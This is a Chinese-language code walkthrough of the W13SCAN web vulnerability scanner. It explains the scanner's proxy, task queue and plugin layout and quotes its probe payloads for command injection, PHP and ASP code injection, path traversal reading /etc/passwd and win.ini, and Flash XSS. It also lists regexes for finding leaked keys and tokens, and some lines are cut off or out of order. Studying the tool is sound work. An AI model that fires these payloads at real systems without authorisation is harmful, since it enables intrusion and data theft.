if not getattr(mod, 'fingerprint'):
logger.error("filename:{} load faild,not function 'fingerprint'".format(filename))
continue
if name not in KB["fingerprint"]:
KB["fingerprint"][name] = []
KB["fingerprint"][name].append(mod)
num += 1
logger.info('Load fingerprint plugins:{}'.format(num))
最后将初始化的数据与配置文件的 控制台传递的参数合并 作为程序初始的数据
这里例如KB的设计方式和一些补丁函数应该是参考了 sqlmap
主动扫描
通过输入url或者url文件
请求后通过 task_push_from_name 函数创建个loader插件的任务
for domain in urls:
try:
req = requests.get(domain)
except Exception as e:
logger.error("request {} faild,{}".format(domain, str(e)))
continue
fake_req = FakeReq(domain, {}, HTTPMETHOD.GET, "")
fake_resp = FakeResp(req.status_code, req.content, req.headers)
task_push_from_name('loader', fake_req, fake_resp)
FakeReq
lib/parse/parse_request.py
是对请求进行解析成各种字段
FakeResp 解析响应
lib/parse/parse_response.py
与req同理进行封装
上面两个里面有很多有用的方法 通过这两个类对http的请求和响应进行字段拆分 方便后续插件使用
被动扫描
KB["continue"] = True
# 启动漏洞扫描器
scanner = threading.Thread(target=start)
scanner.setDaemon(True)
scanner.start()
# 启动代理服务器
baseproxy = AsyncMitmProxy(server_addr=conf.server_addr, https=True)
try:
baseproxy.serve_forever()
except KeyboardInterrupt:
scanner.join(0.1)
threading.Thread(target=baseproxy.shutdown, daemon=True).start()
deinit()
print("\n[*] User quit")
baseproxy.server_close()
是以代理形式的 那么我们需要看下被动代理创建任务的地方
位置是在 W13SCAN/lib/proxy/baseproxy.py#L473 的 do_GET 方法
将这个方法改成了所有的get post方法都使用这个 do_get 方法
# baseproxy.py#566
do_HEAD = do_GET
do_POST = do_GET
do_PUT = do_GET
do_DELETE = do_GET
do_OPTIONS = do_GET
在请求响应完这里推了任务
req = FakeReq(url, request._headers, method, request.get_body_data().decode('utf-8'))
resp = FakeResp(int(response.status), response.get_body_data(), response._headers)
KB['task_queue'].put(('loader', req, resp))
也就是说被动代理是每次流量请求响应完就会推任务到loader 然后loader再次解析推送任务
主动扫描和被动扫描 都是获取url创建loader的任务
扫描模块
什么时候启动扫描模块
如果是主动扫描就在loader任务创建完成后启动
for domain in urls:
try:
req = requests.get(domain)
except Exception as e:
logger.error("request {} faild,{}".format(domain, str(e)))
continue
fake_req = FakeReq(domain, {}, HTTPMETHOD.GET, "")
fake_resp = FakeResp(req.status_code, req.content, req.headers)
task_push_from_name('loader', fake_req, fake_resp)
start()
如果是被动扫描就在开始通过现场创建扫描模块即start方法
KB["continue"] = True
# 启动漏洞扫描器
scanner = threading.Thread(target=start)
scanner.setDaemon(True)
scanner.start()
# 启动代理服务器
baseproxy = AsyncMitmProxy(server_addr=conf.server_addr, https=True)
start方法
W13SCAN/lib/controller/controller.py#L66
def start():
run_threads(conf.threads, task_run)
run_threads 创建线程
以配置设置的线程数俩创建线程
def run_threads(num_threads, thread_function, args: tuple = ()):
threads = []
try:
info_msg = "Staring [#{0}] threads".format(num_threads)
logger.info(info_msg)
# Start the threads
for num_threads in range(num_threads):
thread = threading.Thread(target=exception_handled_function, name=str(num_threads),
args=(thread_function, args))
thread.setDaemon(True)
try:
thread.start()
except Exception as ex:
err_msg = "error occurred while starting new thread ('{0}')".format(str(ex))
logger.critical(err_msg)
break
threads.append(thread)
# And wait for them to all finish
alive = True
while alive:
alive = False
for thread in threads:
if thread.is_alive():
alive = True
time.sleep(0.1)
except KeyboardInterrupt as ex:
KB['continue'] = False
raise
except Exception as ex:
logger.error("thread {0}: {1}".format(threading.currentThread().getName(), str(ex)))
traceback.print_exc()
finally:
dataToStdout('\n')
task_run 运行任务
W13SCAN/lib/controller/controller.py#L70
每个 task_run 就是从 KB["task_queue"] 中取task
然后加锁 拿插件的execute 传入 req和rsp
poc_module 是从注册的poc里深拷贝出来的
poc_module.execute(request, response)
更新任务数量 完成数+1 任务数-1
是每个线程就是一个消费者从 task_queue 队列中取任务执行
def task_run():
while KB["continue"] or not KB["task_queue"].empty():
poc_module_name, request, response = KB["task_queue"].get()
KB.lock.acquire()
KB.running += 1
if poc_module_name not in KB.running_plugins:
KB.running_plugins[poc_module_name] = 0
KB.running_plugins[poc_module_name] += 1
KB.lock.release()
printProgress()
poc_module = copy.deepcopy(KB["registered"][poc_module_name])
poc_module.execute(request, response)
KB.lock.acquire()
KB.finished += 1
KB.running -= 1
KB.running_plugins[poc_module_name] -= 1
if KB.running_plugins[poc_module_name] == 0:
del KB.running_plugins[poc_module_name]
KB.lock.release()
printProgress()
printProgress()
# TODO
# set task delay
printProgress 输出目前的扫描任务情况
输出目前的扫描任务情况
def printProgress():
KB.lock.acquire()
if conf.debug:
# 查看当前正在运行的插件
KB.output.log(repr(KB.running_plugins))
msg = '%d success | %d running | %d remaining | %s scanned in %.2f seconds' % (
KB.output.count(), KB.running, KB.task_queue.qsize(), KB.finished, time.time() - KB.start_tim
_ = '\r' + ' ' * (KB['console_width'][0] - len(msg)) + msg
dataToStdout(_)
KB.lock.release()
之前我们看到主被动扫描都是只创建了一个任务 loader 那说明详细的任务创建应该是在这里的
loader插件 主动扫描的解析插件 插件入口
我们去找一下这个插件
W13SCAN/scanners/loader.py
可以看到描述
算是一个统一的入口插件 对请求响应解析
从而调度更多的插件
我们上面看到 task_run 里是调用的 execute 方法
直接看loader是没有这个方法的 那么应该是继承自 PluginBase
PluginBase 基础插件父类
W13SCAN/lib/core/plugins.py
execute 传入req rsp poc主要函数
可以看到execute是对audit的函数进行了一层包装
根据 conf.retry 进程重试
如果最后是未知的异常 收集平台信息和报错到 output
这块信息再看issue的时候看到过
通过函数 createGithubIssue 会把未知的异常推到w13scan的issue里
路径在 W13SCAN/lib/core/common.py
def execute(self, request: FakeReq, response: FakeResp):
self.target = ''
self.requests = request
self.response = response
output = None
try:
output = self.audit()
except NotImplementedError:
msg = 'Plugin: {0} not defined "{1} mode'.format(self.name, 'audit')
dataToStdout('\r' + msg + '\n\r')
except (ConnectTimeout, requests.exceptions.ReadTimeout, urllib3.exceptions.ReadTimeoutError, soc
retry = conf.retry
while retry > 0:
msg = 'Plugin: {0} timeout, start it over.'.format(self.name)
if conf.debug:
dataToStdout('\r' + msg + '\n\r')
try:
output = self.audit()
break
except (
ConnectTimeout, requests.exceptions.ReadTimeout, urllib3.exceptions.ReadTimeoutEr
socket.timeout):
retry -= 1
except Exception:
return
else:
msg = "connect target '{0}' failed!".format(self.target)
# Share.dataToStdout('\r' + msg + '\n\r')
except HTTPError as e:
msg = 'Plugin: {0} HTTPError occurs, start it over.'.format(self.name)
# Share.dataToStdout('\r' + msg + '\n\r')
except ConnectionError:
msg = "connect target '{0}' failed!".format(self.target)
# Share.dataToStdout('\r' + msg + '\n\r')
except requests.exceptions.ChunkedEncodingError:
pass
except ConnectionResetError:
pass
except TooManyRedirects as e:
pass
except NewConnectionError as ex:
pass
except PoolError as ex:
pass
except UnicodeDecodeError:
# 这是由于request redirect没有处理编码问题,导致一些网站编码转换被报错,又不能hook其中的关键函数
# 暂时先pass这个错误
# refer:https://github.com/boy-hack/w13scan/labels/Requests%20UnicodeDecodeError
pass
except UnicodeError:
# https://github.com/w-digital-scanner/w13scan/issues/238
paramsCombination 组合dict参数
,将相关类型参数组合成requests认识的,防止request将参数进行url转义
把数据按类型与payload进行插入到数据里
# bypass unicode奇葩错误
pass
except (
requests.exceptions.InvalidURL, requests.exceptions.InvalidSchema,
requests.exceptions.ContentDecodingError):
# 出现在跳转上的一个奇葩错误,一些网站会在收到敏感操作后跳转到不符合规范的网址,request跟进时就会抛出这
# refer: https://github.com/boy-hack/w13scan/labels/requests.exceptions.InvalidURL
# 奇葩的ContentDecodingError
# refer:https://github.com/boy-hack/w13scan/issues?q=label%3Arequests.exceptions.ContentDecod
pass
except KeyboardInterrupt:
raise
except Exception:
errMsg = "W13scan plugin traceback:\n"
errMsg += "Running version: {}\n".format(VERSION)
errMsg += "Python version: {}\n".format(sys.version.split()[0])
errMsg += "Operating system: {}\n".format(platform.platform())
if request:
errMsg += '\n\nrequest raw:\n'
errMsg += request.raw
excMsg = traceback.format_exc()
dataToStdout('\r' + errMsg + '\n\r')
dataToStdout('\r' + excMsg + '\n\r')
if createGithubIssue(errMsg, excMsg):
dataToStdout('\r' + "[x] a issue has reported" + '\n\r')
return output
ResultObject 统一的结果类
返回的 result是 W13SCAN/lib/core/output.py#L119
def paramsCombination(self, data: dict, place=PLACE.GET, payloads=[], hint=POST_HINT.NORMAL, urlsafe=
"""
组合dict参数,将相关类型参数组合成requests认识的,防止request将参数进行url转义
:param data:
:param hint:
:return: payloads -> list
"""
result = []
if place == PLACE.POST:
if hint == POST_HINT.NORMAL:
for key, value in data.items():
new_data = copy.deepcopy(data)
for payload in payloads:
new_data[key] = payload
result.append((key, value, payload, new_data))
elif hint == POST_HINT.JSON:
for payload in payloads:
for new_data in updateJsonObjectFromStr(data, payload):
result.append(('', '', payload, new_data))
elif place == PLACE.GET:
for payload in payloads:
for key in data.keys():
temp = ""
for k, v in data.items():
if k == key:
temp += "{}={}{} ".format(k, quote(payload, safe=urlsafe), DEFAULT_GET_POST_D
else:
temp += "{}={}{} ".format(k, quote(v, safe=urlsafe), DEFAULT_GET_POST_DELIMIT
temp = temp.rstrip(DEFAULT_GET_POST_DELIMITER)
result.append((key, data[key], payload, temp))
elif place == PLACE.COOKIE:
for payload in payloads:
for key in data.keys():
temp = ""
for k, v in data.items():
if k == key:
temp += "{}={}{}".format(k, quote(payload, safe=urlsafe), DEFAULT_COOKIE_DELI
else:
temp += "{}={}{}".format(k, quote(v, safe=urlsafe), DEFAULT_COOKIE_DELIMITER)
result.append((key, data[key], payload, temp))
elif place == PLACE.URI:
uris = splitUrlPath(data, flag="<--flag-->")
for payload in payloads:
for uri in uris:
uri = uri.replace("<--flag-->", payload)
result.append(("", "", payload, uri))
return result
self.success 输出漏洞
def success(self, msg: ResultObject):
if isinstance(msg, ResultObject):
msg = msg.output()
elif isinstance(msg, dict):
pass
else:
raise PluginCheckError('self.success() not ResultObject')
KB.output.success(msg)
class ResultObject(object):
def __init__(self, baseplugin):
self.name = baseplugin.name
self.path = baseplugin.path
self.url = "" # 插件url
self.result = "" # 插件返回结果
self.type = "" # 漏洞类型 枚举
self.detail = collections.OrderedDict()
def init_info(self, url, result, vultype):
self.url = url
self.result = result
self.type = vultype
def add_detail(self, name: str, request: str, response: str, msg: str, param: str, value: str, po
if name not in self.detail:
self.detail[name] = []
self.detail[name].append({
"request": request,
"response": response,
"msg": msg,
"basic": {
"param": param,
"value": value,
"position": position
}
})
def output(self):
self.createtime = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
return {
"name": self.name,
"path": self.path,
"url": self.url,
"result": self.result,
"type": self.type,
"createtime": self.createtime,
"detail": self.detail
}
loader audit loader插件最终执行的方法
解析url 获取请求的url后缀分类
然后使用指纹识别 m = mod.fingerprint(self.response.headers, self.response.text)
然后推 一个扫描任务 PerFile 通用的检查模块 xss sql注入 s2 shiro 等 针对参数级
再推一个任务 PerServer 备份文件 错误页面 等 针对域名级
分离出目录 然后每一个url目录都创建一个 PerFolder 任务 备份目录 phpinfo 源码泄露 等 针对url
主要的检查模块还是在 PerFile 目录下面
这里分层这三个目录应该是仓库AWVS的方式来设计的
下面就是audit的代码
主要注意的是上述任务的创建都是通过 KB["spiderset"].add 的方式创建的
会先对url进行泛化去重才进行任务的创建
def audit(self):
headers = self.requests.headers
url = self.requests.url
p = urlparse(url)
if not p.netloc:
return
for rule in conf.excludes:
if rule in p.netloc:
logger.info("Skip domain:{}".format(url))
return
# fingerprint basic info
exi = self.requests.suffix.lower()
if exi == ".asp":
self.response.programing.append(WEB_PLATFORM.ASP)
self.response.os.append(OS.WINDOWS)
elif exi == ".aspx":
self.response.programing.append(WEB_PLATFORM.ASPX)
self.response.os.append(OS.WINDOWS)
elif exi == ".php":
self.response.programing.append(WEB_PLATFORM.PHP)
elif exi == ".jsp" or exi == ".do" or exi == ".action":
self.response.programing.append(WEB_PLATFORM.JAVA)
for name, values in KB["fingerprint"].items():
if not getattr(self.response, name):
_result = []
for mod in values:
m = mod.fingerprint(self.response.headers, self.response.text)
if isinstance(m, str):
_result.append(m)
if isListLike(m):
_result += list(m)
if _result:
setattr(self.response, name, _result)
# Fingerprint basic end
if KB["spiderset"].add(url, 'PerFile'):
task_push('PerFile', self.requests, self.response)
# Send PerServer
p = urlparse(url)
domain = "{}://{}".format(p.scheme, p.netloc)
if KB["spiderset"].add(domain, 'PerServer'):
req = requests.get(domain, headers=headers, allow_redirects=False)
fake_req = FakeReq(domain, headers, HTTPMETHOD.GET, "")
fake_resp = FakeResp(req.status_code, req.content, req.headers)
task_push('PerServer', fake_req, fake_resp)
# Collect directory from response
urls = set(get_parent_paths(url))
for parent_url in urls:
if not KB["spiderset"].add(parent_url, 'get_link_directory'):
continue
req = requests.get(parent_url, headers=headers, allow_redirects=False)
if KB["spiderset"].add(req.url, 'PerFolder'):
fake_req = FakeReq(req.url, headers, HTTPMETHOD.GET, "")
fake_resp = FakeResp(req.status_code, req.content, req.headers)
task_push('PerFolder', fake_req, fake_resp)
PerServer 检测模块 对每个domain的
W13SCAN/scanners/PerServer
backup_domain 基于域名的备份文件
使用tld from tld import parse_tld
from tld import parse_tld
parse_tld('http://www.google.com')
# 'com', 'google', 'www'
生成payload 然后拼接rar zip 请求获取文件
这里还读取了下文件的前面几个buf看下文件头是否正确
payloads = parse_tld(domain, fix_protocol=True, fail_silently=True)
for payload in payloads:
if not payload:
continue
for i in ['.rar', '.zip']:
test_url = domain + payload + i
r = requests.get(test_url, headers=headers, allow_redirects=False, stream=True)
try:
content = r.raw.read(10)
except:
continue
if r.status_code == 200 and self._check(content):
if int(r.headers.get('Content-Length', 0)) == 0:
continue
如果文件存在且 文件头判断过了会新生成个result
result = self.new_result()
result.init_info(self.requests.url, "备份文件下载", VulType.BRUTE_FORCE)
result.add_detail("payload请求", r.reqinfo, content.decode(errors='ignore'),
"备份文件大小:{}M".format(rarsize), "", "", PLACE.GET)
self.success(result)
errorpage 错误暴露信息
W13SCAN/scanners/PerServer/errorpage.py
访问一个不存在的错误页面 可以从页面中获取信息
使用这个方法匹配 sensitive_page_error_message_check
里面是通过下面的正则匹配
error的匹配正则
http_smuggling http smuggling 走私攻击
errors = [
{'regex': '"Message":"Invalid web service call', 'type': 'ASP.Net'},
{'regex': 'Exception of type', 'type': 'ASP.Net'},
{'regex': '--- End of inner exception stack trace ---', 'type': 'ASP.Net'},
{'regex': 'Microsoft OLE DB Provider', 'type': 'ASP.Net'},
{'regex': 'Error ([\d-]+) \([\dA-Fa-f]+\)', 'type': 'ASP.Net'},
{'regex': 'at ([a-zA-Z0-9_]*\.)*([a-zA-Z0-9_]+)\([a-zA-Z0-9, \[\]\&\;]*\)', 'type': 'ASP.Net'},
{'regex': '([A-Za-z]+[.])+[A-Za-z]*Exception: ', 'type': 'ASP.Net'},
{'regex': 'in [A-Za-z]:\([A-Za-z0-9_]+\)+[A-Za-z0-9_\-]+(\.aspx)?\.cs:line [\d]+', 'type': 'ASP.N
{'regex': 'Syntax error in string in query expression', 'type': 'ASP.Net'},
{'regex': '\.java:[0-9]+', 'type': 'Java'}, {'regex': '\.java\((Inlined )?Compiled Code\)', 'type
{'regex': '\.invoke\(Unknown Source\)', 'type': 'Java'}, {'regex': 'nested exception is', 'type':
{'regex': '\.js:[0-9]+:[0-9]+', 'type': 'Javascript'}, {'regex': 'JBWEB[0-9]{{6}}:', 'type': 'JBo
{'regex': '((dn|dc|cn|ou|uid|o|c)=[\w\d]*,\s?){2,}', 'type': 'LDAP'},
{'regex': '\[(ODBC SQL Server Driver|SQL Server|ODBC Driver Manager)\]', 'type': 'Microsoft SQL S
{'regex': 'Cannot initialize the data source object of OLE DB provider "[\w]*" for linked server
'type': 'Microsoft SQL Server'}, {
'regex': 'You have an error in your SQL syntax; check the manual that corresponds to your MyS
'type': 'MySQL'},
{'regex': 'Illegal mix of collations \([\w\s\,]+\) and \([\w\s\,]+\) for operation', 'type': 'MyS
{'regex': 'at (\/[A-Za-z0-9\.]+)*\.pm line [0-9]+', 'type': 'Perl'},
{'regex': '\.php on line [0-9]+', 'type': 'PHP'}, {'regex': '\.php</b> on line <b>[0-9]+', 'type'
{'regex': 'Fatal error:', 'type': 'PHP'}, {'regex': '\.php:[0-9]+', 'type': 'PHP'},
{'regex': 'Traceback \(most recent call last\):', 'type': 'Python'},
{'regex': 'File "[A-Za-z0-9\-_\./]*", line [0-9]+, in', 'type': 'Python'},
{'regex': '\.rb:[0-9]+:in', 'type': 'Ruby'}, {'regex': '\.scala:[0-9]+', 'type': 'Scala'},
{'regex': '\(generated by waitress\)', 'type': 'Waitress Python server'}, {
'regex': '132120c8|38ad52fa|38cf013d|38cf0259|38cf025a|38cf025b|38cf025c|38cf025d|38cf025e|38
'type': 'WebSEAL'},
{'type': 'ASPNETPathDisclosure',
'regex': "<title>Invalid\sfile\sname\sfor\smonitoring:\s'([^']*)'\.\sFile\snames\sfor\smonito
{'type': 'Struts2DevMod',
'regex': 'You are seeing this page because development mode is enabled. Development mode, or
{'type': 'Django DEBUG MODEL',
'regex': "You're seeing this error because you have <code>DEBUG = True<\/code> in"},
{'type': 'RailsDevMode', 'regex': '<title>Action Controller: Exception caught<\/title>'},
{'type': 'RequiredParameter', 'regex': "Required\s\w+\sparameter\s'([^']+?)'\sis\snot\spresent"},
{'type': 'Thinkphp3 Debug', 'regex': '<p class="face">:\(</p>'},
{'type': 'xdebug', "regex": "class='xdebug-error xe-fatal-error'"}
]
这里直接return了
idea idea目录解析
W13SCAN/scanners/PerServer/idea.py
先请求 xml payload = domain + ".idea/workspace.xml" 然后判断后输出
iis_parse iis解析漏洞
W13SCAN/scanners/PerServer/iis_parse.py
请求 domain/robots.txt/.php
判断请求头 响应体
payload = domain + "robots.txt/.php"
r = requests.get(payload, headers=headers, allow_redirects=False)
ContentType = r.headers.get("Content-Type", '')
if 'html' in ContentType and "allow" in r.text:
net_xss net 通杀xss
请求了两个payload
payload = "(A({}))/".format(random_str(6))
url = domain + payload
new_payload = "(A(\"onerror='{}'{}))/".format(random_str(6), random_str(6))
url2 = domain + new_payload
在响应中没有编码还是存就认为是存在的
swf_files 通用flash的xss
多个swf加payload 然后计算返回的页面的md5值来判断
PerFolder 检测模块 针对url的目录,会分隔目录分别访问
backup_folder 扫描备份文件
W13SCAN/scanners/PerFolder/backup_folder.py
测试的路径 因为传入的时候是拆分了url的目录的所以这里会都测
directory_browse 判断是否是目录遍历
W13SCAN/scanners/PerFolder/directory_browse.py
判断响应页面里有没有如下内容
flag_list = [
"directory listing for",
"<title>directory",
"<head><title>index of",
'<table summary="directory listing"',
'last modified</a>',
]
FileList = []
FileList.append(arg + 'common/swfupload/swfupload.swf')
FileList.append(arg + 'adminsoft/js/swfupload.swf')
FileList.append(arg + 'statics/js/swfupload/swfupload.swf')
FileList.append(arg + 'images/swfupload/swfupload.swf')
FileList.append(arg + 'js/upload/swfupload/swfupload.swf')
FileList.append(arg + 'addons/theme/stv1/_static/js/swfupload/swfupload.swf')
FileList.append(arg + 'admin/kindeditor/plugins/multiimage/images/swfupload.swf')
FileList.append(arg + 'includes/js/upload.swf')
FileList.append(arg + 'js/swfupload/swfupload.swf')
FileList.append(arg + 'Plus/swfupload/swfupload/swfupload.swf')
FileList.append(arg + 'e/incs/fckeditor/editor/plugins/swfupload/js/swfupload.swf')
FileList.append(arg + 'include/lib/js/uploadify/uploadify.swf')
FileList.append(arg + 'lib/swf/swfupload.swf')
md5_list = [
'3a1c6cc728dddc258091a601f28a9c12',
'53fef78841c3fae1ee992ae324a51620',
'4c2fc69dc91c885837ce55d03493a5f5',
]
for payload in FileList:
payload1 = payload + "?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28%22xss
req = requests.get(payload1, headers=self.requests.headers)
if req.status_code == 200:
md5_value = md5(req.content)
['bak.rar', 'bak.zip', 'backup.rar', 'backup.zip', 'www.zip', 'www.rar', 'web.rar', 'web.zip','wwwroo
phpinfo_craw 查看此目录下是否存在 phpinfo文件
W13SCAN/scanners/PerFolder/phpinfo_craw.py
请求这几个文件后判断是否有 <title>phpinfo()</title>
variants = [
"phpinfo.php",
"pi.php",
"php.php",
"i.php",
"test.php",
"temp.php",
"info.php",
]
repository_leak 基于流量动态查找目录下源码泄露
W13SCAN/scanners/PerFolder/repository_leak.py
请求key 判断响应里是否存在value
flag = {
"/.svn/all-wcprops": "svn:wc:ra_dav:version-url",
"/.git/config": 'repositoryformatversion[\s\S]*',
"/.bzr/README": 'This\sis\sa\sBazaar[\s\S]',
'/CVS/Root': ':pserver:[\s\S]*?:[\s\S]*',
'/.hg/requires': '^revlogv1.*'
}
PerFile 检测模块 针对每个文件,包括参数
analyze_parameter 反序列化参数分析插件
from api import isJavaObjectDeserialization, isPHPObjectDeserialization, isPythonObjectDeserialization
W13SCAN/lib/helper/function.py#L27
如下是通过value值来判断是否是反序列化的
通过 魔术头 正则
backup_file 基于文件的备份扫描
W13SCAN/scanners/PerFile/backup_file.py
对url动态生成 备份文件扫描
def isJavaObjectDeserialization(value):
if len(value) < 10:
return False
if value[0:5].lower() == "ro0ab":
ret = is_base64(value)
if not ret:
return False
if bytes(ret).startswith(bytes.fromhex("ac ed 00 05")):
return True
return False
def isPHPObjectDeserialization(value: str):
if len(value) < 10:
return False
if value.startswith("O:") or value.startswith("a:"):
if re.match('^[O]:\d+:"[^"]+":\d+:{.*}', value) or re.match('^a:\d+:{(s:\d:"[^"]+";|i:\d+;).*
return True
elif (value.startswith("Tz") or value.startswith("YT")) and is_base64(value):
ret = is_base64(value)
if re.match('^[O]:\d+:"[^"]+":\d+:{.*}', value) or re.match('^a:\d+:{(s:\d:"[^"]+";|i:\d+;).*
return True
return False
def isPythonObjectDeserialization(value: str):
if len(value) < 10:
return False
ret = is_base64(value)
if not ret:
return False
# pickle binary
if value.startswith("g"):
if bytes(ret).startswith(bytes.fromhex("8003")) and ret.endswith("."):
return True
# pickle text versio
elif value.startswith("K"):
if (ret.startswith("(dp1") or ret.startswith("(lp1")) and ret.endswith("."):
return True
return False
# http://xxxxx.com/index.php => index.php.bak index.bak index.rar
a, b = os.path.splitext(url)
if not b:
return
payloads = []
payloads.append(a + ".bak")
payloads.append(a + ".rar")
payloads.append(a + ".zip")
payloads.append(url + ".bak")
payloads.append(url + ".rar")
payloads.append(url + ".zip")
command_asp_code asp代码注入
W13SCAN/scanners/PerFile/command_asp_code.py
只支持回显型的asp代码注入
payload
_payloads = [
'response.write({}*{})'.format(randint1, randint2),
'\'+response.write({}*{})+\''.format(randint1, randint2),
'"response.write({}*{})+"'.format(randint1, randint2),
]
command_php_code php代码注入
W13SCAN/scanners/PerFile/command_php_code.py
如果不是php的直接返回 是php的才进行处理
payload print MD5值
_payloads = [
"print(md5({}));".format(randint),
";print(md5({}));".format(randint),
"';print(md5({}));$a='".format(randint),
"\";print(md5({}));$a=\"".format(randint),
"${{@print(md5({}))}}".format(randint),
"${{@print(md5({}))}}\\".format(randint),
"'.print(md5({})).'".format(randint)
]
command_system 系统命令注入
W13SCAN/scanners/PerFile/command_system.py
定义了 一个字典
执行的命令 和可以匹配的回显
如果是windows的机器那么就去掉 echo的
如果是无回显使用反连平台
reverse_payload = "ping -nc 1 {}".format(fullname)
url_flag = {
"set|set&set": [
'Path=[\s\S]*?PWD=',
'Path=[\s\S]*?PATHEXT=',
'Path=[\s\S]*?SHELL=',
'Path\x3d[\s\S]*?PWD\x3d',
'Path\x3d[\s\S]*?PATHEXT\x3d',
'Path\x3d[\s\S]*?SHELL\x3d',
'SERVER_SIGNATURE=[\s\S]*?SERVER_SOFTWARE=',
'SERVER_SIGNATURE\x3d[\s\S]*?SERVER_SOFTWARE\x3d',
'Non-authoritative\sanswer:\s+Name:\s*',
'Server:\s*.*?\nAddress:\s*'
],
"echo `echo 6162983|base64`6162983".format(randint): [
"NjE2Mjk4Mwo=6162983"
]
}
判断是否成功直接就响应中匹配回显
在dnslog api中check函数里对 延迟进行了封装默认会延迟5s
directory_traversal 路径穿越插件
W13SCAN/scanners/PerFile/directory_traversal.py
生成目录穿越的payload
def generate_payloads(self):
payloads = []
default_extension = ".jpg"
payloads.append("../../../../../../../../../../../etc/passwd%00")
payloads.append("/etc/passwd")
if OS.LINUX in self.response.os or OS.DARWIN in self.response.os or conf.level >= 4:
payloads.append("../../../../../../../../../../etc/passwd{}".format(unquote("%00")))
payloads.append(
"../../../../../../../../../../etc/passwd{}".format(unquote("%00")) + default_extension)
if OS.WINDOWS in self.response.os:
payloads.append("../../../../../../../../../../windows/win.ini")
payloads.append("C:\\boot.ini")
# if origin:
# payloads.append(dirname + "/../../../../../../../../../../windows/win.ini")
payloads.append("C:\\WINDOWS\\system32\\drivers\\etc\\hosts")
if WEB_PLATFORM.JAVA in self.response.programing:
payloads.append("/WEB-INF/web.xml")
payloads.append("../../WEB-INF/web.xml")
return payloads
回显判断
js_sensitive_content js文件敏感内容匹配
这里只匹配url后缀是js的
然后下面是正则payload
# in 判断 包含
plainArray = [
"; for 16-bit app support",
"[MCI Extensions.BAK]",
"# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.",
"# localhost name resolution is handled within DNS itself.",
"[boot loader]"
]
# 正则判断
regexArray = [
'(Linux+\sversion\s+[\d\.\w\-_\+]+\s+\([^)]+\)\s+\(gcc\sversion\s[\d\.\-_]+\s)',
'(root:\w:\d*:)',
"System\.IO\.FileNotFoundException: Could not find file\s'\w:",
"System\.IO\.DirectoryNotFoundException: Could not find a part of the path\s'\w:",
"<b>Warning<\/b>:\s\sDOMDocument::load\(\)\s\[<a\shref='domdocument.load'>domdocument.load<\/a>\]
"(<web-app[\s\S]+<\/web-app>)",
"Warning: fopen\(",
"open_basedir restriction in effect",
'/bin/(bash|sh)[^\r\n<>]*[\r\n]',
'\[boot loader\][^\r\n<>]*[\r\n]'
]
regx = {
# 匹配url
# r'(\b|\'|")(?:http:|https:)(?:[\w/\.]+)?(?:[a-zA-Z0-9_\-\.]{1,})\.(?:php|asp|ashx|jspx|aspx|jsp
# 匹配邮箱
"邮箱信息": r'[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(?:\.[a-zA-Z0-9_-]+)+',
# 匹配token或者密码泄露
# 例如token = xxxxxxxx, 或者"apikey" : "xssss"
"Token或密码": r'\b(?:secret|secret_key|token|secret_token|auth_token|access_token|username|passwo
# 匹配IP地址
"IP地址": r'\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0
# 匹配云泄露
"Cloudfront云泄露": r'[\w]+\.cloudfront\.net',
"Appspot云泄露": r'[\w\-.]+\.appspot\.com',
"亚马逊云泄露": r'[\w\-.]*s3[\w\-.]*\.?amazonaws\.com\/?[\w\-.]*',
"Digitalocean云泄露": r'([\w\-.]*\.?digitaloceanspaces\.com\/?[\w\-.]*)',
"Google云泄露": r'(storage\.cloud\.google\.com\/[\w\-.]+)',
"Google存储API泄露": r'([\w\-.]*\.?storage.googleapis.com\/?[\w\-.]*)',
# 匹配手机号
"手机号": r'(?:139|138|137|136|135|134|147|150|151|152|157|158|159|178|182|183|184|187|188|198|130
# 匹配域名
# "域名泄露": r'((?:[a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+(?:biz|cc|club|cn|com|co|edu
# SSH 密钥
"SSH密钥": '([-]+BEGIN [^\\s]+ PRIVATE KEY[-]+[\\s]*[^-]*[-]+END [^\\s]+ '
'PRIVATE KEY[-]+)',
# access_key
"Access Key": 'access_key.*?["\'](.*?)["\']',
"Access Key ID 1": 'accesskeyid.*?["\'](.*?)["\']',
"Access Key ID 2": 'accesskeyid.*?["\'](.*?)["\']',
# 亚马逊 aws api 账号 密钥
"亚马逊AWS API": 'AKIA[0-9A-Z]{16}',
"亚马逊AWS 3S API 1": 's3\\.amazonaws.com[/]+|[a-zA-Z0-9_-]*\\.s3\\.amazonaws.com',
"亚马逊AWS 3S API 2": '([a-zA-Z0-9-\\.\\_]+\\.s3\\.amazonaws\\.com|s3://[a-zA-Z0-9-\\.\\_]+|s3-[a-
"亚马逊AWS 3S API 3": 'amzn\\\\.mws\\\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{1
# author 信息
"作者信息": '@author[: ]+(.*?) ',
"API": 'api[key|_key|\\s+]+[a-zA-Z0-9_\\-]{5,100}',
"基础信息": 'basic [a-zA-Z0-9=:_\\+\\/-]{5,100}',
"Bearer": 'bearer [a-zA-Z0-9_\\-\\.=:_\\+\\/]{5,100}',
# facebook token
"Facebook Token": 'EAACEdEose0cBA[0-9A-Za-z]+',
# github token
"Github Token": '[a-zA-Z0-9_-]*:[a-zA-Z0-9_\\-]+@github\\.com*',
# google api
"Google API": 'AIza[0-9A-Za-z-_]{35}',
# google captcha 验证
"Google验证码": '6L[0-9A-Za-z-_]{38}|^6[0-9a-zA-Z_-]{39}$',
# google oauth 权限
"Google OAuth": 'ya29\\.[0-9A-Za-z\\-_]+',
jsonp JSONP寻找插件
这里是使用正则匹配的方式去判断的
如果参数中有 ["callback", "cb", "json"] 才继续进行
这个参数是说json里的 data里的params里的
匹配是分正则和in两种
正则
# jwt
"JWT鉴权": 'ey[A-Za-z0-9-_=]+\\.[A-Za-z0-9-_=]+\\.?[A-Za-z0-9-_.+/=]*$',
# mailgun 服务密钥
"Mailgun服务密钥": 'key-[0-9a-zA-Z]{32}',
# paypal braintree 访问凭证
"Paypal/Braintree访问凭证": 'access_token\\$production\\$[0-9a-z]{16}\\$[0-9a-f]{32}',
# PGP 密钥块
